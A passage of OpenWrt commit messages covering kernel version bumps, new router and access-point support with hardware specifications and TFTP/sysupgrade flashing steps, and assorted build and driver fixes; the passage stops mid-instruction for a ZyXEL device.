TP-LINK published a firmware update for the archer c6 v2.
This updates also reached the factory devices. Newer software version
rejects downgrading to 1.2.x. Use 1.9.x to allow installing the factory images
and have a little bit time to change it again.
Tested on archer c6 v2 with firmware 1.3.1
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
This PR is a blend of several kernel bumps authored by ldir taken from his
staging tree w/ some further adjustments made by me and update_kernel.sh
Summary:
Deleted upstreamed patches:
generic:
742-v5.5-net-sfp-add-support-for-module-quirks.patch
743-v5.5-net-sfp-add-some-quirks-for-GPON-modules.patch
bcm63xx:
022-v5.8-mtd-rawnand-brcmnand-correctly-verify-erased-pages.patch
024-v5.8-mtd-rawnand-brcmnand-fix-CS0-layout.patch
mediatek:
0402-net-ethernet-mtk_eth_soc-Always-call-mtk_gmac0_rgmii.patch
Deleted patches applied differently upstream:
generic:
641-sch_cake-fix-IP-protocol-handling-in-the-presence-of.patch
Manually merged patches:
generic:
395-v5.8-net-sch_cake-Take-advantage-of-skb-hash-where-appropriate.patch
bcm27xx:
950-0132-lan78xx-Debounce-link-events-to-minimize-poll-storm.patch
layerscape:
701-net-0231-enetc-Use-DT-protocol-information-to-set-up-the-port.patch
Build system: x86_64
Build-tested: ath79/generic, bcm27xx/bcm2708, bcm27xx/bcm2711,
imx6, mvebu/cortexa9, sunxi/a53
Run-tested: Netgear R7800 (ipq806x)
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-By: Lucian Cristian <Lucian.cristian@gmail.com> [mvebu]
Tested-By: Curtis Deptuck <curtdept@me.com> [x86/64]
[do not remove 395-v5.8-net-sch_cake-Take-advantage-... patch,
adjust and refresh patches, adjust commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-By: John Audia <graysky@archlinux.us> [ipq806x]
On Mikrotik SPI NOR devices, the firmware partition must be erased when
flashing from stock firmware, otherwise leftover bits (in particular a
kernel signature) can trigger a boot loop.
When booted from initramfs (the only way to install OpenWRT on these
devices), this patch unconditionally erases the firmware partition in
the do_upgrade() stage for all supported SPI NOR devices.
This is forward-ported from ed49d0876 and 20452a8db
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
This reverts commit b1f6a5d9df.
In this particular case, the echo command was _not_ useless, but
converted the newlines back to spaces.
Add a comment into the code to make that obvious for the next one
looking at it like me.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The is no reason to catch the output by $() and then echo it again.
Remove the useless echos.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The output is already produced in the inner $() brackets, no need
to catch and echo it again.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The node needs to be terminated by a semicolon.
Fixes: 8484a764df ("ath79: ar724x: make sure builtin-switch is
enabled in DT")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Both TL-WPA8630(P) v1 and v2 feature a button labelled "WiFi".
While this is implemented as KEY_RFKILL for v1 in ar71xx and ath79,
the v2 sets it up as WPS button.
According to the manual, the behavior in OEM firmware is:
"Press and hold the button for 1 second to copy wireless settings
from the main router to the extender. Go to Wi-Fi Clone for more
information. Press and hold the button for at least 5 seconds to
turn the wireless function on or off."
Consequently, and since this is historic behavior on v1 in OpenWrt,
we set this button to KEY_RFKILL on both revisions.
Fixes: ab74def0db ("ath79: add support for TP-Link TL-WPA8630P v2")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The moves a few additional common nodes to the common DTSI files
for qcom-ipq8064-v2.0 and qcom-ipq8065 devices.
Remove a few redundant definitions on the way.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
On ar7240/ar7241 the mdioX node with the builtin-switch is enabled
in the DTSI files, but the parent ethX node is left disabled. It
only gets enabled per device or device family, and has not been
enabled at all yet for the TP-Link WA devices with ar7240, making
the switch unavailable there.
This patch makes sure ð0/ð1 nodes are enabled together with
the &mdio0/&mdio1 nodes containing the builtin-switch.
For ar7240_tplink_tl-wa.dtsi, ð0 is properly hidden again via
compatible = "syscon", "simple-mfd";
This partially fixes FS#2887, however it seems dmesg still does
not show cable (dis)connect in dmesg for ar7240 TP-Link WA
devices.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The leds block was copied over from the RT-AC85P DTS to the common
DTSI while keeping the device-specific model name in the label.
This moves the LEDs back to the DTS files and adjusts the names to
properly resemble the model name of the devices used at, just like
it is handled on most other devices.
Fixes: 7c5f712e4f ("ramips: add support for Asus RT-AC65P")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This files have been emptied during subtarget consolidation, but
not removed. Remove them now.
Fixes: aff084adf3 ("at91: Merge SAMA5 subtargets")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Itus Networks Shield - 1Ghz dual-core mips64 / Cavium Octeon 3 SoC,
1Gb RAM, 4Gb eMMC,3 GbE 10/100/1000 ports
Information regarding device can be found:
https://deviwiki.com/wiki/Itus_Networks_Shield_Pro
Installing OpenWrt on Itus Networks Shield:
1) Boot Shield
2) On device: mount /dev/mmcblk1p1 /mnt
3) scp openwrt-octeon-itus,shield-router-initramfs-kernel.bin to
/mnt/ItusrouterImage
3a) Optionally: scp openwrt-octeon-itus,shield-router-initramfs-kernel.bin
to /mnt/ItusgatewayImage to allow you to have an emergency recovery
boot in the GATEWAY slot - this slot will have no permament storage and
is used for emergency recovery only when booted in the (G)ateway
position
4) On device: umount /mnt
5) reboot
Once booted, run the sysupgrade via cli or luCi on the
openwrt-octeon-itus,shield-router-squashfs-sysupgrade.tar file the mode
you are running.
Once rebooted, the system installation is complete. Your storage partition
for the mode is inialized and set.
Signed-off-by: Donald Hoskins <grommish@gmail.com>
[cut out sysupgrade-* changes, move a few lines,
drop case CVMX_BOARD_TYPE_ITUS_SHIELD]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
So far, the sysupgrade-* folder used during upgrade in octeon was
hardcoded to contain the board name. Therefore, changing board name
or BOARD_NAME variable in image/Makefile might have broken upgrade.
Improve this by adding a step to determine the folder name via
a wildcard, as it is done for generic nand_upgrade_tar() in
lib/upgrade/nand.sh.
While this still does not remove the problem for existing devices
(which still have the old script), it will entirely remove the
issue on newly added devices on this platform.
Signed-off-by: Donald Hoskins <grommish@gmail.com>
[split into separate patch, add commit message, add return values]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This renames board patches to make finding devices easier
and reorders them based on their board.
The devices are grouped based on the board/cpu_id. New device
patches should be numbered based on their group.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The legacy map version based on the IPv6 Interface Identifier in
draft-ietf-softwire-map-03 was typically used by uncommenting the LEGACY
variable in the map.sh file, which is not ideal. A proper configuration
option is needed instead.
The IPv6 Interface Identifier format described in the draft was
eventually changed in RFC7597, but is still used by some major ISPs,
including in Japan.
Signed-off-by: Remi NGUYEN VAN <remi.nguyenvan+openwrt@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
If not needed, disabling scp allows for a nice size reduction.
Dropbear executable size comparison:
153621 bytes (baseline)
133077 bytes (without scp)
In other words, we trim a total of 20544 bytes.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
ALLNET ALL-WAP02860AC is a dual-band wireless access point.
Specification
SoC: Qualcomm Atheros QCA9558
RAM: 128 MB DDR2
Flash: 16 MB SPI NOR
WIFI: 2.4 GHz 3T3R integrated
5 GHz 3T3R QCA9880 Mini PCIe card
Ethernet: 1x 10/100/1000 Mbps AR8035-A, PoE capable (802.3at)
LEDS: 5x, which four are GPIO controlled
Buttons: 1x GPIO controlled
UART: 4 pin header near Mini PCIe card, starting count from white
triangle on PCB
1. VCC 3.3V, 2. GND, 3. TX, 4. RX
baud: 115200, parity: none, flow control: none
MAC addresses
Calibration data does not contain valid MAC addresses.
The calculated MAC addresses are chosen in accordance with OEM firmware.
Because of:
a) constrained environment (SNMP) when connecting through Telnet
or SSH,
b) hard-coded kernel and rootfs sizes,
c) checksum verification of kerenel and rootfs images in bootloder,
creating factory image accepted by OEM web interface is difficult,
therefore, to install OpenWrt on this device UART connection is needed.
The teardown is simple, unscrew four screws to disassemble the casing,
plus two screws to separate mainboard from the casing.
Before flashing, be sure to have a copy of factory firmware, in case You
wish to revert to original firmware.
Installation
1. Prepare TFTP server with OpenWrt initramfs-kernel image.
2. Connect to LAN port.
3. Connect to UART port.
4. Power on the device and when prompted to stop autoboot, hit any key.
5. Alter U-Boot environment with following commands:
setenv failsafe_boot bootm 0x9f0a0000
saveenv
6. Adjust "ipaddr" and "serverip" addresses in U-Boot environment, use
'setenv' to do that, then run following commands:
tftpboot 0x81000000 <openwrt_initramfs-kernel_image_name>
bootm 0x81000000
7. Wait about 1 minute for OpenWrt to boot.
8. Transfer OpenWrt sysupgrade image to /tmp directory and flash it
with:
sysupgrade -n /tmp/<openwrt_sysupgrade_image_name>
9. After flashing, the access point will reboot to OpenWrt. Wait few
minutes, until the Power LED stops blinking, then it's ready for
configuration.
Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
[add MAC address comment to commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The malta subtargets for mips64 and mips64el fail to start the init process
at boot, resulting in a boot loop. The issue was raised and analyzed within
FS#3277. Investigation suggested code near the [vdso] memory area of the
process was long jumping into a region inaccessible to the process, e.g.
init: - preinit -
init: Launched preinit instance, pid=522
do_page_fault(): sending SIGSEGV to init for invalid read access from 0000000000000360
epc = 0000000000000360 in init[aaab42b000+4000]
ra = 000000fffee385e0 in
Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
Rebooting in 1 seconds..
Note the low-memory read access and epc are the same. Upstream kernel 5.6
included a relevant patch and discussion:
* d3f703c4359f ("mips: vdso: fix 'jalr t9' crash in vdso code")
Disassembly of the failing kernel's vdso.so confirmed presence of the
telltale long jumps, e.g.:
00000000000007c0 <__vdso_clock_getres@@LINUX_2.6>:
[...]
7dc: 0320f809 jalr t9
[...]
Restore booting mips64/mips64el malta by backporting the above commit:
* 310-v5.6-mips-vdso-fix-jalr-t9-crash-in-vdso-code.patch
Fixes: 54310a3aa0 ("malta: add kernel 5.4 config")
Fixes: FS#3277
Ref: https://bugs.openwrt.org/index.php?do=details&task_id=3277
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
The most recent patch added add lines in one block instead of in the
appropriate places to keep Makefiles in consistent style. Fix that.
Fixes: ff02e1561f ("pcre: add host variant of libpcre")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This ports the TP-Link TL-WPA8630 v1 from ar71xx to ath79.
Specifications:
SoC: QCA9563
CPU: 750 MHz
Flash/RAM: 8 / 128 MiB
Ethernet: 3x 1G ports (QCA8337 switch)
WLAN: 2.4 GHz b/g/n, 5 GHz a/n/ac (ath10k)
Buttons, LEDs and network setup appear to be almost identical
to the v2 revision.
Powerline interface is connected to switch port 5 (Label LAN4).
Installation:
No "fresh" device was available for testing the factory image.
It is not known whether flashing via OEM firmware GUI is possible
or not. A discussion from 2018 [1] about that indicates a few
adjustments are necessary, but it is not clear whether those
are already implemented with the TPLINK_HEADER_VERSION = 2 or not.
Note that for the TL-WPA8630P v1, the TPLINK_HWID needs to be
changed to 0x86310001 to allow factory flashing.
[1] https://forum.openwrt.org/t/solved-tl-wpa8630p-lede-does-not-install/8161/27
Recovery:
Recovery is only possible via serial.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
34aed01ca865 mt76: mt7915: use ieee80211_free_txskb to free tx skbs
efc8669db5f9 mt76: mt7915: fix max_mpdu_size field for A-MSDU
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Dependencies are meant to express actual run-time dependencies and
strictly speaking, libselinux can be build and used on kernels without
SELinux (not in a very meaningful way, but never mind).
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The commands to read ath9k caldata on mikrotik subtarget are
mostly repetitive, so let's put them into a function to make
writing and reading them easier.
This function will only be required when patching the MAC address.
For cases where it is put correctly into the calibration data by
the vendor, caldata_sysfsload_from_file can be used directly as
done for ath10k at the moment.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch adds support for the MikroTik RouterBOARD 760iGS router.
It is similar to the already supported RouterBOARD 750Gr3.
The 760iGS device features an added SFP cage, and passive
PoE out on port 5 compared to the RB750Gr3.
https://mikrotik.com/product/hex_s
Specifications:
- SoC: MediaTek MT7621A
- CPU: 880MHz
- Flash: 16 MB
- RAM: 256 MB
- Ethernet: 5x 10/100/1000 Mbps
- SFP cage
- USB port
- microSD slot
Unsupported:
- Beeper (requires PWM driver)
- ZT2046Q (ADS7846 compatible) on SPI as slave 1 (CS1)
The linux driver requires an interrupt, and pendown GPIO
These are unknown, and not needed with the touchscreen
only used for temperature and voltage monitoring.
ads7846 hwmon:
temp0 is degrees Celsius
temp1 is voltage * 32
GPIOs:
- 07: input passive PoE out (lan5) compatible (Mikrotik) device connected
- 17: output passive PoE out (lan5) switch
Installation through RouterBoot follows the usual MikroTik method
https://openwrt.org/toh/mikrotik/common
To boot to intramfs image in RAM:
1. Setup TFTP server to serve intramfs image.
2. Plug Ethernet cable into WAN port.
3. Unplug power, hold reset button and plug power in.
Wait (~25 seconds) for beep and then release reset button.
The SFP LED will be lit in RouterBoot, but will not be lit in OpenWRT.
4. Wait for a minute. Router should be running OpenWrt,
check by plugging in to port 2-5 and going to 192.168.1.1.
To install OpenWrt to flash:
1. Follow steps above to boot intramfs image in RAM.
2. Flash the sysupgrade.bin image with web interface or sysupgrade.
3. Once the router reboots you will be running OpenWrt from flash.
OEM firmware differences:
- RouterOS assigns a different MAC address for each port
- The first address (E01 on the sticker) is used for wan (ether1 in OEM).
- The next address is used for lan2.
- The last address (E06 on the sticker) is used for sfp.
[Initial port work, shared dtsi]
Signed-off-by: Vince Grassia <vincenzo.grassia@zionark.com>
[SFP support and GPIO identification]
Signed-off-by: Luka Logar <luka.logar@iname.com>
[Misc. fixes and submission]
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
[rebase, drop uart3 from state_default on 750gr3, minor commit
title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This moves some common definitions for Mikrotik devices, mainly
routerboot partitions and reset key, to a common DTSI file.
While at it, remove unused hard_config DT label.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This commit adds a `selinux` variant to `procd` allowing to load an
SELinux policy at boot.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This beeper hardware requires a PWM driver for frequency selection.
Since the GPIO driver does not provide that, revert the beeper
support to a simple gpio-export.
This effectively reverts the corresponding changes from
6ba58b7b02 ("ramips: cleanup the RB750Gr3 support")
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
[commit title/message facelift]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This driver is only used by ipq806x SoCs. Move it there and drop
dependency from ipq40xx since it's not used anywere.
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[rebase on changes to previous patches]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Paul Blazejowski <paulb@blazebox.homeip.net> [R7800]
- Replace nvmem qcom patch with upstream version
- Update compatible
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[refresh patches, minor commit message rewording]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Paul Blazejowski <paulb@blazebox.homeip.net> [R7800]
- Replace dwc3 phy patch with upstream version
- Rework the dts to use the upstream bindings
- Update changed config flags
- Rename module to reflect config name
Signed-off-by: Ansuel Smith <ansuelsmth@gmail.com>
[fix qcom,tx-deamp_3_5db typo, refresh patches, rename kmod]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Tested-by: Paul Blazejowski <paulb@blazebox.homeip.net> [R7800]
The ssh symlink was still being created even when dbclient was disabled in the
build configuration. Fix this annoyance.
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
The missing "size" property was acceptable in the context of a single
DTS as the underlying device is known to have a 64KB flash, and thus
the bios partition fit exactly between the preceding and following ones.
However as this block has moved in a DTSI, for the sake of clarity and
explicitness the size property is added to ensure that if the flash
happens to be larger than expected, the bios partition remains properly
sized.
Suggested-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This harmonizes the appearance of ethX nodes in qca953x DTSes by:
- having the same order of nodes and properties
- removing redundant status property on eth1 (set in qca953x.dtsi)
This is meant to help both copy-pasters and reviewers, since
deviations and errors can be spotted easier.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
After those symbols have been removed from generic kernel config,
they were added to the target config during every kernel config
refresh. As that's not desirable, add them back to the generic
config.
Fixes: d1a8217d87 ("kernel: clean-up build-configurable kernel config symbols")
Fixes: cfe235c436 ("kernel: modules: add package kmod-iosched-bfq")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The README file is displayed on "make help", but updating the
command has been overlooked during the README -> README.md
rename.
Fix it.
Fixes: d0113711a3 ("README: port to 21st century")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MikroTik SXT Lite5 (product code RBSXT5nDr2, also SXT 5nD r2) is
an outdoor 5GHz CPE with a 16 dBi integrated antenna built around the
Atheros AR9344 SoC. It is based on the "sxt5n" board platform.
Specifications:
- SoC: Atheros AR9344
- RAM: 64 MB
- Storage: 128 MB NAND
- Wireless: Atheros AR9340 (SoC) 802.11a/n 2x2:2
- Ethernet: Atheros AR8229 switch (SoC), 1x 10/100 port,
8-32 Vdc PoE in
- 6 user-controllable LEDs:
· 1x power (blue)
· 1x wlan (green)
· 4x rssi (green)
- 1 GPIO-controlled buzzer
See https://mikrotik.com/product/RBSXT5nDr2 for more details.
Notes:
The device was already supported in the ar71xx target. There, the
Ethernet port was handled by GMAC1. Here in ath79 it is handled by
GMAC0, which allows to get link information (loss, speed, duplex) on
the eth0 interface.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Acknowledgments:
Michael Pratt (@mpratt14) for helping on the network settings.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[rebase, use mikrotik LED label prefix, make names consistent,
add reg for bootloader2, use led_user for boot indication etc.,
minor cosmetic changes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MikroTik RouterBOARD 921GS-5HPacD-15s (mANTBox 15s) is an outdoor
antenna for 5 GHz with an built-in router. This ports the board from
ar71xx.
See https://mikrotik.com/product/RB921GS-5HPacD-15S for more info.
Specifications:
- SoC: Qualcomm Atheros QCA9558 (720 MHz)
- RAM: 128 MB
- Storage: 128 MB NAND
- Wireless: external QCA9892 802.11a/ac 2x2:2
- Ethernet: 1x 1000/100/10 Mbps, integrated, via AR8031 PHY, passive PoE in
- SFP: 1x host
Working:
- NAND storage detection
- Ethernet
- Wireless
- 1x user LED (blinks during boot, sysupgrade)
- Reset button
- Sysupgrade
Untested:
- SFP cage (probably not working)
Installation (untested):
- Boot initramfs image via TFTP and then flash sysupgrade image
As the embedded RB921-pcb is a stripped down version of the RB922 this patch
adds a common dtsi for this series and includes this to the final dts-files.
Signed-off-by: Sven Roederer <devel-sven@geroedel.de>
[move ath10k-leds closer to ath10k definition in DTS files]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The MikroTik RouterBOARD LHG 2nD (sold as LHG 2) is a 2.4 GHz
802.11b/g/n outdoor device with a feed and an integrated dual
polarization grid dish antenna based on the LHG-HB platform.
See https://mikrotik.com/product/lhg_2 for more info.
Specifications:
- SoC: Qualcomm Atheros QCA9533
- RAM: 64 MB
- Storage: 16 MB NOR
- Wireless: Atheros AR9531 (SoC) 802.11b/g/n 2x2:2, 18 dBi antenna
- Ethernet: Atheros AR8229 (SoC), 1x 10/100 port, 12-28 Vdc PoE in
- 8 user-controllable LEDs:
· 1x power (blue)
· 1x user (green)
· 1x lan (green)
· 1x wlan (green)
· 4x rssi (green)
Note:
The rssihigh LED is disabled, as it shares GPIO 16 with the reset
button.
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
[rebase, remove rssiled setup, adjust commit message, add DTSIs]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
8d9a62e4def7 mt76: mt7915: fix crash on tx rate report for invalid stations
825343467df4 mt76: fix double DMA unmap of the first buffer on 7615/7915
99804560372b mt76: mt7615: register ext_phy if DBDC is detected
93407be934b2 mt76: mt7615: move drv_own/fw_own in mt7615_mcu_ops
e7774de844e8 mt76: mt7663s: move drv_own/fw_own in mt7615_mcu_ops
a5602514ab03 mt76: mt7615: hold mt76 lock queueing wd in mt7615_queue_key_update
5c42061ce181 mt76: do not inject packets if MT76_STATE_PM is set
ae4757a0ae90 mt76: mt7615: reschedule runtime-pm receiving a tx interrupt
c4544d1e8a1a mt76: mt76s: fix oom in mt76s_tx_queue_skb_raw
dc73103874cc mt76: mt76s: move tx processing in a dedicated wq
c828c84cb134 mt76: mt7663s: move rx processing in txrx wq
2b34f2f6b0ef mt76: mt76s: move status processing in txrx wq
f957b050d848 mt76: mt76s: move tx/rx processing in 2 separate works
6fe964295bd9 mt76: mt76s: get rid of unused variable
43d6127d8851 mt76: mt7915: enable U-APSD on AP side
58774b605f1c mt76: set interrupt mask register to 0 before requesting irq
06f722d8046c mt76: mt7915: clean up and fix interrupt masking in the irq handler
2fbd6baac103 mt76: mt7615: only clear unmasked interrupts in irq tasklet
5ea8b6187da2 mt76: mt76x02: clean up and fix interrupt masking in the irq handler
f2e71f0c1b7e mt76: mt7615: do not do any work in napi poll after calling napi_complete_done()
1eb94624bb12 mt76: mt7915: do not do any work in napi poll after calling napi_complete_done()
5e0c587b9ac1 mt76: mt7915: clean up station stats polling and rate control update
9ab20dfbf7b1 mt76: mt7915: increase tx retry count
fa69dd96f9c0 mt76: mt7915: enable offloading of sequence number assignment
9816f9812adb mt76: move mt76_check_agg_ssn to driver tx_prepare calls
ad90170b0af9 mt76: mt7615: remove mtxq->agg_ssn assignment
335cd51be4c6 mt76: mt7915: simplify aggregation session check
21f7734cbb49 mt76: mt7915: add missing flags in WMM parameter settings
21182f90d947 mt76: mt7915: add Tx A-MSDU offloading support
27670514328f mt76: mt7615: use v1 MCU API on MT7615 to fix issues with adding/removing stations
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Not a large change from last time, but should fix at least one rare wave-2
crash. The htt-mgt-community builds are trimmed for supporting lots of
stations (typically 150+ stations per radio).
Tested on Netgear R7800.
Signed-off-by: Michael Yartys <michael.yartys@gmail.com>
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
Bump PKG_RELEASE for the affected packages as replacing "which" by
"command -v" represents a content change.
Fixes: 1fdf6b745c ("treewide: replace `which` with `command -v`")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix shellcheck SC2230
> which is non-standard. Use builtin 'command -v' instead.
Using `command -v` is POSIX compliant while `which` is not. Also to
mention, `command -v` is a shell builtin whereas `which` is a separate
busybox applet.
Once applied to everything concerning OpenWrt we can disable the busybox
feature `which` and save 3.8kB.
Acked-by: Stijn Tintel <stijn@linux-ipv6.be>
Signed-off-by: Paul Spooren <mail@aparcar.org>
[also replace cases in zram-swap]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This problem has been fixed in upstream commit
6b6a3d9339f1c08efaa18a7fb7357e20b48bdc95. This patch now (harmlessly)
adds the same definition a second time.
Signed-off-by: Magnus Kroken <mkroken@gmail.com>
[bump PKG_RELEASE]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Most targets have been updated to consistently use the vendor_model
scheme for device definitions and thus, image names.
Apply this to bcm47xx as well. This does _not_ apply any other
specific naming changes.
Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Most targets have been updated to consistently use the vendor_model
scheme for device definitions and thus, image names.
Apply this to bcm53xx as well. This does _not_ apply any other
specific naming changes.
Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Now that my patches have been merged into upstream U-Boot, resync the
cosmetic changes and the commit IDs from the final commits.
Signed-off-by: David Woodhouse <dwmw2@infradead.org>
The pkgconfig file references the host directories, not the openwrt
ones. Used SED to fix as is done elsewhere. Removed CMAKE_INSTALL as a
result.
Removed now pointless CFLAGS.
Added PKG_BUILD_PARALLEL for faster compilation.
Various rearrangements for consistency between packages.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
677aa53 Fix -W option for pppoe-discovery utility (#157)
115c419 Accept Malformed Windows Success Message (#156)
5bdb148 pppd: Add documentation of stop-bits option to pppd man page (#154)
2a7981f Add ipv6cp-accept-remote option
0678d3b pppd: Fix the default value for ipv6cp-accept-local to false
Refresh patches
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
This fixes the following build problem with cake:
net/sched/act_ctinfo.c: In function 'tcf_ctinfo_act':
net/sched/act_ctinfo.c:99:6: error: implicit declaration of function 'tc_skb_protocol'; did you mean 'skb_protocol'? [-Werror=implicit-function-declaration]
if (tc_skb_protocol(skb) == htons(ETH_P_IP)) {
^~~~~~~~~~~~~~~
skb_protocol
CC [M] net/sched/sch_hfsc.o
Fixes: fdac05b741 ("kernel: Update kernel 4.19 to version 4.19.138")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
In commit 87b35c16ad ("kernel: ubifs: create use file system format 4
by default") we changed the default UBIFS version used when the kernel
creates a new volume from 5 to 4. UBIFS v5 was added in kernel 4.10 and
only kernel 4.10 and later can read it.
We changed the kernel to create version 4 volumes also on more recent
kernel versions to make it possible to downgrade to an OpenWrt version
with kernel 4.9, the upgrade still works. This is probably not needed
any more and we can remove this patch.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
After years of trying to find the reason for random kernel crashes
while both CPU and SATA are under load it has been found.
Some odd commented-out #defines in kref's single-port driver [1] which
were copied from the vendor driver made me develop a theory:
The IO-mapped memory area for DMA descriptors apparetly got some holes
just before the alignment boundaries.
This feels like an off-by-one bug in the hardware or maybe those fields
are used internally by the SATA controller's firmware.
Whatever the cause is: they cannot be used and trying to use them
results in reading back unexpected stuff and ends up with oopsing
Unable to handle kernel paging request at virtual address d085c004
Work around the issue by reducing the area used for bmdma descriptors.
This reduces SATA performance (iops) quite a bit, but finally makes
things work reliably. Possibly one could optimize this much more by
really just skipping the holes in that memory area -- however, that
seems to be non-trivial with the driver and libata in it's current form
(suggestions are welcome).
The 'proper' way to have good SATA performance would be to make use of
the hardware RAID features (one can use the JBOD mode to access even
just a single disc transparently through the RAID controller integrated
in the SATA host instead of accessing the SATA ports 'raw' as we do
now).
[1]: https://github.com/kref/linux-oxnas/blob/master/drivers/ata/sata_oxnas.c#L25
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Commit 53470bdf32 ("toolchain/binutils: Add binutils 2.34") logs refreshed
patches, but also adds a typo causing failed builds on mipsel64 platforms,
including the malta subtarget. Update the patch to fix this.
This fixes the following build error:
make[7]: *** No rule to make target 'elf64ltsmip.o', needed by 'ld-new'. Stop.
Fixes: FS#3276
Fixes: 53470bdf32 ("toolchain/binutils: Add binutils 2.34")
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
It is deactivated everywhere, just set this in the generic config.
Acked-by: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This refreshes the kernel configuration on top of kernel 5.4.
It now builds without asking to select some kernel options on all 4
subtargets.
It still does not boot up, there is a different problem.
Tested-By: Yousong Zhou <yszhou4tech@gmail.com>
Acked-By: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
readelf is linked against this library on MIPS64BE
This fixes a build problem on MIPS64BE.
In addition also explicitly activate it in the configure command.
Fixes: 60f595daab ("binutils: update to version 2.34")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Specifications:
SoC: Qualcomm Atheros QCA9557
RAM: 128 MB (Nanya NT5TU32M16EG-AC)
Flash: 16 MB (Macronix MX25L12845EMI-10G)
Ethernet: 5x 10/100/1000 (1x WAN, 4x LAN)
Wireless: QCA9557 2.4GHz (nbg), QCA9882 5GHz (ac)
USB: 2x USB 2.0 port
Buttons: 1x Reset
Switches: 1x Wifi
LEDs: 11 (Pwr, WAN, 4x LAN, 2x Wifi, 2x USB, WPS)
MAC addresses:
WAN *:3f uboot-env ethaddr + 3
LAN *:3e uboot-env ethaddr + 2
2.4GHz *:3c uboot-env ethaddr
5GHz *:3d uboot-env ethaddr + 1
The label contains all four MAC addresses, however the one without
increment is first, so this one is taken for label MAC address.
Notes:
The Wifi is controlled by an on/off button, i.e. has to be implemented
by a switch (EV_SW). Despite, it appears that GPIO_ACTIVE_HIGH needs
to be used, just like recently fixed for the NBG6716.
Both parameters have been wrong at ar71xx.
Flash Instructions:
At first the U-Boot variables need to be changed in order to boot the
new combined image format. ZyXEL uses a split kernel + root setup and
the current kernel is too large to fit into the partition. As resizing
didnt do the trick, I've decided to use the prefered combined image
approach to be future-kernel-enlargement-proof (thanks to blocktrron for
the assistance).
First add a new variable called boot_openwrt:
